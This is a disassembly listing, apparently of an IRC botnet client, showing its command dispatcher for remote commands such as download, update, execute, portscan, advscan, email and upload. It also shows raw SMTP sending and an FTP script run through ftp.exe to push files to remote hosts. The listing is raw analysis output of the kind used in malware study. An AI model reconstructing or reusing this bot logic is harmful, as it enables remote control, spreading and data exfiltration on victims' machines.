loc_4058E1: ; CODE XREF: sub_401C87+3C3Cj
lea eax, [ebp+var_2C8]
push eax
call sub_40F927
pop ecx
lea eax, [ebp+var_8B0]
push ebx
push ebx
push eax
push offset loc_408986
push ebx
push ebx
call dword_4E0340 ; CreateThread
loc_405904: ; CODE XREF: sub_401C87+30F9j
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_40622C
push edi
push offset aKilllog ; "killlog"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4073D3
push edi
push offset aKl ; "kl"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4073D3
push edi
push offset aAddalias ; "addalias"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_407390
push edi
push offset aAa ; "aa"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_407390
push edi
push offset aPrivmsg_1 ; "privmsg"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_407336
push edi
push offset aPm ; "pm"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_407336
push edi
push offset aAction ; "action"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4072C4
push edi
push offset aA ; "a"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4072C4
push edi
push offset aCycle ; "cycle"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40725C
push edi
push offset aCy ; "cy"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40725C
push edi
push offset aMode ; "mode"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_407223
push edi
push offset aM ; "m"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_407223
push edi
push offset aC_raw ; "c_raw"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4071B5
push edi
push offset aC_r ; "c_r"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4071B5
push edi
push offset aC_mode ; "c_mode"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_407130
push edi
push offset aC_m ; "c_m"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_407130
push edi
push offset aC_nick ; "c_nick"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4070BF
push edi
push offset aC_n ; "c_n"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4070BF
push edi
push offset aC_join ; "c_join"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40706F
push edi
push offset aC_j ; "c_j"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40706F
push edi
push offset aC_part ; "c_part"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_407009
push edi
push offset aC_p ; "c_p"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_407009
push edi
push offset aUpdate ; "update"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_406E7A
push edi
push offset aUp_0 ; "up"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_406E7A
push edi
push offset aExecute ; "execute"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_406DDF
push edi
push offset aE ; "e"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_406DDF
push edi
push offset aFindfile ; "findfile"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_406CD1
push edi
push offset aFf ; "ff"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_406CD1
push edi
push offset aRename ; "rename"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_406C7C
push edi
push offset aMv ; "mv"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_406C7C
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_40622C
push edi
push offset aClone_0 ; "clone"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_406B90
push edi
push offset aC ; "c"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_406B90
push edi
push offset aDownload ; "download"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_406A52
push edi
push offset aDl ; "dl"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_406A52
push edi
push offset aRedirect ; "redirect"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_406957
push edi
push offset aRd ; "rd"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_406957
push edi
push offset aScan_1 ; "scan"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_406863
push edi
push offset aSc ; "sc"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_406863
push edi
push offset aC_privmsg ; "c_privmsg"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_406789
push edi
push offset aC_pm ; "c_pm"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_406789
push edi
push offset aC_action ; "c_action"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_406672
push edi
push offset aC_a ; "c_a"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_406672
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_1C], eax
jz loc_40622C
push edi
push offset aPortscan ; "portscan"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40656B
push edi
push offset aPsc ; "psc"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_40656B
push edi
push offset aAdvscan ; "advscan"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4060AD
push edi
push offset aAsc ; "asc"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_4060AD
push edi
push offset aNetsend ; "netsend"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_405F2E
push edi
push offset aNs ; "ns"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_405F2E
push edi
push offset aEmail ; "email"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz loc_405ED8
push [ebp+arg_10]
lea eax, [ebp+var_ACC]
push eax
call sub_418870
push [ebp+arg_0]
call sub_417960
push [ebp+arg_18]
mov [ebp+arg_0], eax
lea eax, [ebp+var_2220]
push eax
call sub_418870
push [ebp+arg_1C]
lea eax, [ebp+var_1510]
push eax
call sub_418870
push offset asc_439A92 ; " "
push offset a_ ; "_"
push [ebp+esi+var_80]
call sub_4118FD
push eax
lea eax, [ebp+var_2120]
push eax
call sub_418870
add esp, 30h
lea eax, [ebp+var_25B0]
push eax
push 101h
call dword_4D65D8 ; WSAStartup
lea eax, [ebp+var_ACC]
push eax
call dword_4D66EC ; gethostbyname
push 6
push 1
push 2
mov edi, eax
call dword_4D66E8 ; socket
push [ebp+arg_0]
mov esi, eax
mov [ebp+var_2D8], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_2D4], eax
call dword_4D6668 ; ntohs
mov [ebp+var_2D6], ax
lea eax, [ebp+var_2120]
push eax
lea eax, [ebp+var_2220]
push eax
lea eax, [ebp+var_2120]
push eax
lea eax, [ebp+var_1510]
push eax
lea eax, [ebp+var_2220]
push eax
lea eax, [ebp+var_29B0]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_417CB0
add esp, 1Ch
lea eax, [ebp+var_2D8]
push 10h
push eax
push esi
call dword_4D6610 ; connect
mov edi, 100h
push ebx
lea eax, [ebp+var_1E1C]
push edi
push eax
push esi
call dword_4D6680 ; recv
lea eax, [ebp+var_1E1C]
push ebx
push eax
call sub_414EC0
pop ecx
push eax
lea eax, [ebp+var_29B0]
push eax
push esi
call dword_4D66B8 ; send
push ebx
lea eax, [ebp+var_1E1C]
push edi
push eax
push esi
call dword_4D6680 ; recv
push esi
call dword_4D6700 ; closesocket
call dword_4D65C0 ; WSACleanup
lea eax, [ebp+var_1510]
push eax
push offset unk_439AE4
loc_405E91: ; CODE XREF: sub_401C87+2832j
; sub_401C87+4FDBj ...
lea eax, [ebp+var_2C8]
loc_405E97: ; CODE XREF: sub_401C87+340Ej
; sub_401C87+34ADj ...
push eax
call sub_417CB0
loc_405E9D: ; CODE XREF: sub_401C87+1F65j
add esp, 0Ch
loc_405EA0: ; CODE XREF: sub_401C87+2DEEj
; sub_401C87+2E46j ...
cmp [ebp+var_8], ebx
jnz short loc_405EC1
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
add esp, 14h
loc_405EC1: ; CODE XREF: sub_401C87+2496j
; sub_401C87+24CDj ...
mov esi, [ebp+arg_24]
loc_405EC4: ; CODE XREF: sub_401C87+91Bj
; sub_401C87+37DFj ...
lea eax, [ebp+var_2C8]
push eax
call sub_40F927
pop ecx
mov eax, esi
jmp loc_4075FF
; ---------------------------------------------------------------------------
loc_405ED8: ; CODE XREF: sub_401C87+40B2j
push edi
push offset aHttpcon ; "httpcon"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz short loc_405EFE
push edi
push offset aHcon ; "hcon"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz loc_406033
loc_405EFE: ; CODE XREF: sub_401C87+4260j
push [ebp+esi+var_80]
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_0]
call sub_417960
pop ecx
push eax
push [ebp+arg_10]
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40E7F9
jmp loc_407439
; ---------------------------------------------------------------------------
loc_405F2E: ; CODE XREF: sub_401C87+4088j
; sub_401C87+409Dj
push [ebp+arg_0]
lea eax, [ebp+var_2C8]
push [ebp+arg_10]
push [ebp+arg_18]
push offset unk_439B18
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
push [ebp+arg_18]
call sub_414EC0
push [ebp+arg_0]
mov edi, eax
call sub_414EC0
push [ebp+arg_10]
add edi, eax
call sub_414EC0
push [ebp+arg_20]
add edi, eax
call sub_414EC0
add eax, [ebp+var_C]
push [ebp+arg_1C]
lea eax, [eax+edi+7]
push eax
call sub_417E00
add esp, 40h
mov [ebp+arg_14], eax
push [ebp+arg_18]
call sub_417960
mov edi, eax
pop ecx
cmp edi, ebx
mov [ebp+arg_8], ebx
jle short loc_406011
loc_405FAF: ; CODE XREF: sub_401C87+434Bj
push [ebp+arg_14]
push [ebp+arg_0]
push [ebp+arg_10]
call sub_412159
add esp, 0Ch
cmp eax, 1
mov [ebp+arg_C], eax
jz short loc_405FD6
cmp eax, ebx
jnz short loc_405FE1
inc [ebp+arg_8]
cmp [ebp+arg_8], edi
jl short loc_405FAF
jmp short loc_406016
; ---------------------------------------------------------------------------
loc_405FD6: ; CODE XREF: sub_401C87+433Fj
push ebx
push [ebp+var_4]
push offset unk_439B54
jmp short loc_40601F
; ---------------------------------------------------------------------------
loc_405FE1: ; CODE XREF: sub_401C87+4343j
push [ebp+arg_C]
lea eax, [ebp+var_2C8]
push offset unk_439B8C
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
add esp, 20h
loc_406011: ; CODE XREF: sub_401C87+4326j
cmp [ebp+arg_C], ebx
jnz short loc_406030
loc_406016: ; CODE XREF: sub_401C87+434Dj
push ebx
push [ebp+var_4]
push offset unk_439BC0
loc_40601F: ; CODE XREF: sub_401C87+4358j
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
add esp, 14h
loc_406030: ; CODE XREF: sub_401C87+438Dj
mov edi, [ebp+arg_20]
loc_406033: ; CODE XREF: sub_401C87+4271j
; sub_401C87+4478j
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz loc_40622C
push edi
push offset aUpload ; "upload"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz loc_40743C
push 4
push esi
call sub_41114F
pop ecx
test eax, eax
pop ecx
jnz loc_406104
push esi
push offset unk_439BFC
loc_40606C: ; CODE XREF: sub_401C87+3A48j
lea eax, [ebp+var_2C8]
push eax
call sub_417CB0
add esp, 0Ch
loc_40607B: ; CODE XREF: sub_401C87+3A60j
; sub_401C87+5747j
cmp [ebp+var_8], ebx
jnz short loc_40609C
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
add esp, 14h
loc_40609C: ; CODE XREF: sub_401C87+21D9j
; sub_401C87+21EEj ...
lea eax, [ebp+var_2C8]
push eax
call sub_40F927
jmp loc_402219
; ---------------------------------------------------------------------------
loc_4060AD: ; CODE XREF: sub_401C87+405Ej
; sub_401C87+4073j
push 0Bh
call sub_4098A5
push [ebp+arg_0]
mov [ebp+arg_8], eax
call sub_417960
add eax, [ebp+arg_8]
pop ecx
pop ecx
cmp eax, 1F4h
jle loc_406234
push [ebp+arg_8]
lea eax, [ebp+var_2C8]
push offset unk_439C1C
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
add esp, 20h
jmp loc_406033
; ---------------------------------------------------------------------------
loc_406104: ; CODE XREF: sub_401C87+43D9j
call dword_4E036C ; GetTickCount
push eax
call sub_417DB0
pop ecx
call sub_417DC0
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_417DC0
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_417DC0
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_1E20]
push edx
push eax
lea eax, [ebp+var_1514]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_417CB0
lea eax, [ebp+var_1514]
push offset aAb ; "ab"
push eax
call sub_4176E0
mov edi, eax
add esp, 20h
cmp edi, ebx
jz loc_40622C
push esi
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_0]
push [ebp+arg_10]
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push edi
call sub_4185F0
push edi
call sub_414F40
lea eax, [ebp+var_1514]
push eax
lea eax, [ebp+var_ACC]
push offset aSS_0 ; "-s:%s"
push eax
call sub_417CB0
add esp, 2Ch
lea eax, [ebp+var_ACC]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen_1 ; "open"
push ebx
call dword_4D65D4 ; ShellExecuteA
push [ebp+arg_10]
test eax, eax
push esi
jz short loc_4061CF
push offset unk_439CAC
jmp short loc_4061D4
; ---------------------------------------------------------------------------
loc_4061CF: ; CODE XREF: sub_401C87+453Fj
push offset unk_439CD4
loc_4061D4: ; CODE XREF: sub_401C87+4546j
call sub_417CB0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4061FD
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
add esp, 14h
loc_4061FD: ; CODE XREF: sub_401C87+4558j
lea eax, [ebp+var_2C8]
push eax
call sub_40F927
jmp short loc_406217
; ---------------------------------------------------------------------------
loc_40620B: ; CODE XREF: sub_401C87+45A3j
lea eax, [ebp+var_1514]
push eax
call sub_418580
loc_406217: ; CODE XREF: sub_401C87+4582j
lea eax, [ebp+var_1514]
push 4
push eax
call sub_41114F
add esp, 0Ch
test eax, eax
jnz short loc_40620B
loc_40622C: ; CODE XREF: sub_401C87+5Bj
; sub_401C87+392j ...
xor eax, eax
inc eax
jmp loc_4075FF
; ---------------------------------------------------------------------------
loc_406234: ; CODE XREF: sub_401C87+4442j
push [ebp+arg_10]
call sub_417960
push [ebp+arg_0]
mov [ebp+var_474], eax
call sub_417960
push [ebp+arg_18]
mov [ebp+var_45C], eax
call sub_417960
add esp, 0Ch
cmp eax, 5
mov [ebp+var_470], eax
jnb short loc_40626F
push 5
pop eax
mov [ebp+var_470], eax
loc_40626F: ; CODE XREF: sub_401C87+45DDj
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_40627C
mov [ebp+var_470], ecx
loc_40627C: ; CODE XREF: sub_401C87+45EDj
push [ebp+arg_1C]
call sub_417960
mov [ebp+var_46C], eax
mov eax, 320h
cmp [ebp+var_46C], eax
pop ecx
jbe short loc_40629E
mov [ebp+var_46C], eax
loc_40629E: ; CODE XREF: sub_401C87+460Fj
or [ebp+var_458], 0FFFFFFFFh
cmp dword_43F068, ebx
mov [ebp+arg_8], ebx
jz short loc_4062ED
mov edi, offset dword_43F068
loc_4062B5: ; CODE XREF: sub_401C87+4648j
push [ebp+arg_10]
lea eax, [edi-28h]
push eax
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz short loc_4062D3
inc [ebp+arg_8]
add edi, 40h
cmp [edi], ebx
jnz short loc_4062B5
jmp short loc_4062ED
; ---------------------------------------------------------------------------
loc_4062D3: ; CODE XREF: sub_401C87+463Ej
mov eax, [ebp+arg_8]
mov ecx, eax
mov [ebp+var_458], eax
shl ecx, 6
mov ecx, dword_43F068[ecx]
mov [ebp+var_474], ecx
loc_4062ED: ; CODE XREF: sub_401C87+4627j
; sub_401C87+464Aj
cmp [ebp+var_474], ebx
jnz short loc_4062FF
push offset unk_439D04
jmp loc_403894
; ---------------------------------------------------------------------------
loc_4062FF: ; CODE XREF: sub_401C87+466Cj
mov edi, [ebp+esi+var_80]
cmp edi, ebx
mov [ebp+arg_18], edi
jz short loc_40633A
cmp byte ptr [edi], 23h
jz short loc_40633A
push edi
lea eax, [ebp+var_588]
push 10h
push eax
call sub_417E80
push 78h
push edi
call sub_418970
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_448], eax
jmp loc_40640E
; ---------------------------------------------------------------------------
loc_40633A: ; CODE XREF: sub_401C87+4681j
; sub_401C87+4686j
cmp [ebp+var_96B], bl
jnz short loc_40635C
cmp [ebp+var_96A], bl
jnz short loc_40635C
cmp [ebp+var_95A], bl
jnz short loc_40635C
push offset unk_439D38
jmp loc_403894
; ---------------------------------------------------------------------------
loc_40635C: ; CODE XREF: sub_401C87+46B9j
; sub_401C87+46C1j ...
push 10h
lea eax, [ebp+arg_0]
pop edi
push eax
lea eax, [ebp+var_2D8]
push eax
mov [ebp+arg_0], edi
push [ebp+arg_4]
call dword_4D660C ; getsockname
mov al, [ebp+var_96B]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2D4], eax
push [ebp+var_2D4]
call dword_4D66F4 ; inet_ntoa
push eax
lea eax, [ebp+var_588]
push eax
call sub_417760
add esp, 0Ch
cmp [ebp+var_95A], bl
jz short loc_406408
xor eax, eax
cmp [ebp+var_96B], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_588]
push eax
call sub_418800
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_4063FC
loc_4063DA: ; CODE XREF: sub_401C87+4773j
cmp eax, ebx
jz short loc_4063FC
mov byte ptr [eax], 78h
lea eax, [ebp+var_588]
push 30h
push eax
call sub_418800
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_4063DA
loc_4063FC: ; CODE XREF: sub_401C87+4751j
; sub_401C87+4755j
mov [ebp+var_448], 1
jmp short loc_40640E
; ---------------------------------------------------------------------------
loc_406408: ; CODE XREF: sub_401C87+472Bj
mov [ebp+var_448], ebx
loc_40640E: ; CODE XREF: sub_401C87+46AEj
; sub_401C87+477Fj
mov eax, [ebp+arg_4]
push [ebp+var_8C]
mov [ebp+var_478], eax
mov eax, [ebp+var_4]
mov [ebp+var_450], eax
mov eax, [ebp+var_8]
mov [ebp+var_44C], eax
mov edi, 80h
lea eax, [ebp+var_578]
push edi
push eax
call sub_417E80
mov esi, [ebp+esi+var_7C]
add esp, 0Ch
cmp esi, ebx
jz short loc_40645F
loc_40644C: ; CODE XREF: sub_401C87+47FBj
push esi
loc_40644D: ; CODE XREF: sub_401C87+47E5j
lea eax, [ebp+var_4F8]
push edi
push eax
call sub_417E80
add esp, 0Ch
jmp short loc_40648A
; ---------------------------------------------------------------------------
loc_40645F: ; CODE XREF: sub_401C87+47C3j
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_40646E
cmp byte ptr [eax], 23h
jnz short loc_40646E
push eax
jmp short loc_40644D
; ---------------------------------------------------------------------------
loc_40646E: ; CODE XREF: sub_401C87+47DDj
; sub_401C87+47E2j
mov esi, offset aXp_0 ; "#xp"
push offset word_4D651E
push esi
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_40644C
mov [ebp+var_4F8], bl
loc_40648A: ; CODE XREF: sub_401C87+47D6j
cmp [ebp+var_448], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_40649C
mov eax, offset aSequential_0 ; "Sequential"
loc_40649C: ; CODE XREF: sub_401C87+480Ej
push [ebp+var_45C]
lea ecx, [ebp+var_588]
push [ebp+var_46C]
push [ebp+var_470]
push [ebp+var_474]
push ecx
push eax
lea eax, [ebp+var_2C8]
push offset unk_439D80
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_2C8]
push 0Bh
push eax
call sub_409663
add esp, 2Ch
mov [ebp+var_468], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_588]
push ebx
push eax
push offset sub_40AA63
push ebx
push ebx
call dword_4E0340 ; CreateThread
mov ecx, [ebp+var_468]
imul ecx, 234h
cmp eax, ebx
mov dword_4495B4[ecx], eax
jnz short loc_406561
call dword_4E0350 ; RtlGetLastWin32Error
push eax
push offset unk_439DE8
loc_406520: ; CODE XREF: sub_401C87+1D21j
; sub_401C87+2883j ...
lea eax, [ebp+var_2C8]
push eax
call sub_417CB0
loc_40652C: ; CODE XREF: sub_401C87+2878j
add esp, 0Ch
loc_40652F: ; CODE XREF: sub_401C87+1C1Bj
; sub_401C87+1D36j ...
cmp [ebp+var_8], ebx
jnz loc_40259F
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
loc_40654C: ; CODE XREF: sub_401C87+1EBEj
call sub_40764A
add esp, 14h
jmp loc_40259F
; ---------------------------------------------------------------------------
loc_406559: ; CODE XREF: sub_401C87+48E0j
push 32h
call dword_4E033C ; Sleep
loc_406561: ; CODE XREF: sub_401C87+488Bj
cmp [ebp+var_444], ebx
jz short loc_406559
jmp short loc_40652F
; ---------------------------------------------------------------------------
loc_40656B: ; CODE XREF: sub_401C87+4034j
; sub_401C87+4049j
push [ebp+arg_10]
call sub_408766
push [ebp+arg_0]
mov [ebp+var_5A0], eax
call sub_417960
push [ebp+arg_18]
mov [ebp+var_5B0], eax
call sub_417960
push [ebp+arg_1C]
mov [ebp+var_5AC], eax
call sub_417960
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
mov [ebp+var_5A8], eax
lea eax, [ebp+var_630]
mov [ebp+var_634], esi
push eax
call sub_417760
add esp, 1Ch
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_598], edi
push [ebp+var_5AC]
mov [ebp+var_594], eax
push [ebp+var_5B0]
push [ebp+var_5A8]
push [ebp+var_5A0]
call dword_4D66F4 ; inet_ntoa
push eax
lea eax, [ebp+var_2C8]
push offset unk_439E20
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_2C8]
push 0Bh
push eax
call sub_409663
add esp, 24h
mov [ebp+var_5A4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_634]
push ebx
push eax
push offset sub_40AE78
push ebx
push ebx
call dword_4E0340 ; CreateThread
mov ecx, [ebp+var_5A4]
imul ecx, 234h
cmp eax, ebx
mov dword_4495B4[ecx], eax
jnz short loc_406665
call dword_4E0350 ; RtlGetLastWin32Error
push eax
push offset unk_439E70
jmp loc_403B1D
; ---------------------------------------------------------------------------
loc_40665D: ; CODE XREF: sub_401C87+49E4j
push 32h
call dword_4E033C ; Sleep
loc_406665: ; CODE XREF: sub_401C87+49C3j
cmp [ebp+var_590], ebx
jz short loc_40665D
jmp loc_403B2C
; ---------------------------------------------------------------------------
loc_406672: ; CODE XREF: sub_401C87+3FF8j
; sub_401C87+400Dj
push [ebp+arg_10]
call sub_417960
imul eax, 234h
pop ecx
cmp byte_4495B8[eax], bl
jz loc_40743C
cmp [ebp+var_C], ebx
jz loc_40743C
push [ebp+arg_0]
call sub_414EC0
push [ebp+arg_10]
mov esi, eax
call sub_414EC0
push edi
add esi, eax
call sub_414EC0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_417E00
mov esi, eax
lea eax, [ebp+var_2C8]
push esi
push offset dword_439EAC
push eax
call sub_417CB0
add esp, 20h
cmp esi, ebx
jz loc_40743C
mov edi, [ebp+arg_10]
push edi
call sub_417960
test eax, eax
pop ecx
jle loc_40743C
push edi
call sub_417960
cmp eax, 400h
pop ecx
jge loc_40743C
push ebx
lea eax, [ebp+var_2C8]
push ebx
push eax
push [ebp+arg_0]
push edi
call sub_417960
imul eax, 234h
pop ecx
push dword_4495AC[eax]
call sub_40764A
push edi
call sub_417960
imul eax, 234h
add esp, 18h
cmp byte ptr dword_4493A0[eax], 73h
jnz loc_40743C
push esi
push edi
call sub_417960
imul eax, 234h
pop ecx
add eax, offset byte_4495B8
push eax
push [ebp+arg_0]
push offset dword_439EB8
loc_40675F: ; CODE XREF: sub_401C87+4BD7j
lea eax, [ebp+var_2C8]
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
jmp loc_403D26
; ---------------------------------------------------------------------------
loc_406789: ; CODE XREF: sub_401C87+3FCEj
; sub_401C87+3FE3j
push [ebp+arg_10]
call sub_417960
imul eax, 234h
pop ecx
cmp byte_4495B8[eax], bl
jz loc_40743C
cmp [ebp+var_C], ebx
jz loc_40743C
push [ebp+arg_0]
call sub_414EC0
push [ebp+arg_10]
mov esi, eax
call sub_414EC0
push edi
add esi, eax
call sub_414EC0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_417E00
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_40743C
mov edi, [ebp+arg_10]
push edi
call sub_417960
test eax, eax
pop ecx
jle loc_40743C
push edi
call sub_417960
cmp eax, 400h
pop ecx
jge loc_40743C
push ebx
push ebx
push esi
push [ebp+arg_0]
push edi
call sub_417960
imul eax, 234h
pop ecx
push dword_4495AC[eax]
call sub_40764A
push edi
call sub_417960
imul eax, 234h
add esp, 18h
cmp byte ptr dword_4493A0[eax], 73h
jnz loc_40743C
push esi
push edi
call sub_417960
imul eax, 234h
pop ecx
add eax, offset byte_4495B8
push eax
push [ebp+arg_0]
push offset dword_439EC8
jmp loc_40675F
; ---------------------------------------------------------------------------
loc_406863: ; CODE XREF: sub_401C87+3FA4j
; sub_401C87+3FB9j
push [ebp+arg_10]
call dword_4D66A8 ; inet_addr
push [ebp+arg_0]
mov [ebp+var_64C], eax
call sub_417960
push [ebp+arg_18]
mov [ebp+var_65C], eax
call sub_417960
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
mov [ebp+var_654], eax
lea eax, [ebp+var_6DC]
mov [ebp+var_6E0], esi
push eax
call sub_417760
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_644], edi
push [ebp+var_654]
mov [ebp+var_640], eax
push [ebp+var_65C]
push [ebp+var_64C]
call dword_4D66F4 ; inet_ntoa
push eax
lea eax, [ebp+var_2C8]
push offset unk_439ED8
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_2C8]
push 0Bh
push eax
call sub_409663
add esp, 20h
mov [ebp+var_650], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_6E0]
push ebx
push eax
push offset sub_40AD87
push ebx
push ebx
call dword_4E0340 ; CreateThread
mov ecx, [ebp+var_650]
imul ecx, 234h
cmp eax, ebx
mov dword_4495B4[ecx], eax
jnz short loc_40694A
call dword_4E0350 ; RtlGetLastWin32Error
push eax
push offset unk_439F14
jmp loc_403B1D
; ---------------------------------------------------------------------------
loc_406942: ; CODE XREF: sub_401C87+4CC9j
push 32h
call dword_4E033C ; Sleep
loc_40694A: ; CODE XREF: sub_401C87+4CA8j
cmp [ebp+var_63C], ebx
jz short loc_406942
jmp loc_403B2C
; ---------------------------------------------------------------------------
loc_406957: ; CODE XREF: sub_401C87+3F7Aj
; sub_401C87+3F8Fj
push [ebp+arg_10]
call sub_417960
push 7Fh
mov [ebp+var_11D8], eax
push [ebp+arg_0]
lea eax, [ebp+var_12DC]
push eax
call sub_417760
push [ebp+arg_18]
call sub_417960
push [ebp+var_8C]
mov esi, [ebp+arg_4]
mov [ebp+var_11DC], eax
lea eax, [ebp+var_125C]
push 80h
push eax
mov [ebp+var_12E4], esi
call sub_417E80
mov eax, [ebp+var_8]
add esp, 20h
mov edi, [ebp+var_4]
mov [ebp+var_11C8], eax
push [ebp+var_11DC]
lea eax, [ebp+var_12DC]
mov [ebp+var_11CC], edi
push eax
push [ebp+var_11D8]
push esi
call sub_408882
pop ecx
push eax
lea eax, [ebp+var_2C8]
push offset unk_439F4C
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_2C8]
push 18h
push eax
call sub_409663
add esp, 24h
mov [ebp+var_11D4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_12E4]
push ebx
push eax
push offset sub_40EAC5
push ebx
push ebx
call dword_4E0340 ; CreateThread
mov ecx, [ebp+var_11D4]
